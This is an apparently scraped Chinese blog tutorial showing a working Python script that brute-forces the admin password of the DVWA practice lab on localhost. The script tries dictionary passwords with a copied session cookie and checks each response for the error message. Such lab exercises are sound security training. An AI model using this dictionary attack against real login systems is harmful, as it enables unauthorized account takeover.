当前位置: 首页 > news >正文

python实现密码暴力破解

实战:DVWA靶场

靶场设置:low级别

判断是否登录成功:看返回的http请求里面是否有

Username and/or password incorrect.

我们这里假设知道用户名是admin不知道密码,要去破解密码

思路:

(1)从字典读取值,生成密码

pwds = open("password.txt") for pwd in pwds: print(pwd) pwds.close()

(2)http连接到需要爆破的地址

按F12查看标头,把你的PHPSEEEIONID复制到代码修改就可以

代码:

import requests # 如果第一个密码就提示成功,是 PHPSESSID 没有替换的问题 pwds = open("F:\\password.txt") for pwd in pwds: url = "http://localhost/dvwa/vulnerabilities/brute/" # PHPSESSID务必替换为登录以后的PHPSESSID resp = requests.get(url = url, params = {"username":"admin", "password":pwd.strip(), "Login":"Login"}, headers = {"Cookie":"security=low; PHPSESSID=13hjf2259tmmq16ukv2kdc59g6"}) #print(resp.text) if 'Username and/or password incorrect.' in resp.text: print('破解失败:'+pwd, end='') else: print('破解成功:'+pwd, end='') break; pwds.close()

(3)获得http响应,分析响应结果,看看有没有错误提示“Username and/or password incorrect.”

(4)如果有提示就继续下一次循环

(5)如果没有就代表爆破成功

破解成功

登录:用户名:admin,密码password

登录成功

http://www.rkmt.cn/news/110706.html

相关文章:

  • LobeChat能否集成GitHub?代码协作更高效
  • 2025高空特种工程服务商TOP5权威推荐:盈尚环境工程(杭 - myqiye
  • LobeChat能否生成KPI指标?绩效考核智能化
  • 记一次大屏某一处图像采集接口异常导致该页其他图表都无法显示问题解决
  • LobeChat能否支持梦境解析?睡眠记录与心理象征意义探讨
  • Linly-Talker开源教程:打造会说话的AI虚拟人
  • Flutter:在流动的 UI 中,重新理解“界面”的意义
  • vue基于Spring Boot的高校教师考勤科研培训管理系统设计与实现
  • 关于Windows 11 家庭中文版 25H2中ensp无法启动路由器,报40错的解决方法
  • vue基于Springboot框架大学生竞赛辅导管理系统设计与实现_979lg660
  • 基于Dify部署多语言GPT-SoVITS合成系统的架构设计
  • 开源不输商用!LobeChat媲美ChatGPT的用户体验实测
  • PC板生产厂家推荐榜:29年经验 + 70多品种全覆盖(厂家直销) - 品牌排行榜
  • vue基于Springboot框架的宠物之家领养寄养救助商城管理系统h1ypq0zm
  • 12月12号
  • vue基于Springboot框架大学生家教平台_85m5z064 没论文
  • AI元人文构想:人机协作的“未来哪吒”架构
  • LobeChat能否取代官方ChatGPT客户端?对比评测来了
  • 机柜空调哪家好:上海5家实力厂商深度对比(附选型参数) - 品牌排行榜
  • vue基于spring boot的学生宿舍分配报修管理系统
  • 流量监控前端不显示问题
  • 利用Proxifier、Burp Suite和亮数据高效抓包
  • C语言:枚举体
  • 【LLM基础教程】语言模型基础
  • YOLO-v5论文的10个核心创新点解析
  • 【LLM基础教程】统计语言模型N-gram
  • Nigx配置
  • gpt-oss-20b RESTful API设计与集成指南
  • 【玩转全栈】----Django根本设置和介绍
  • GPT-SoVITS音色相似度优化技巧:提升克隆真实感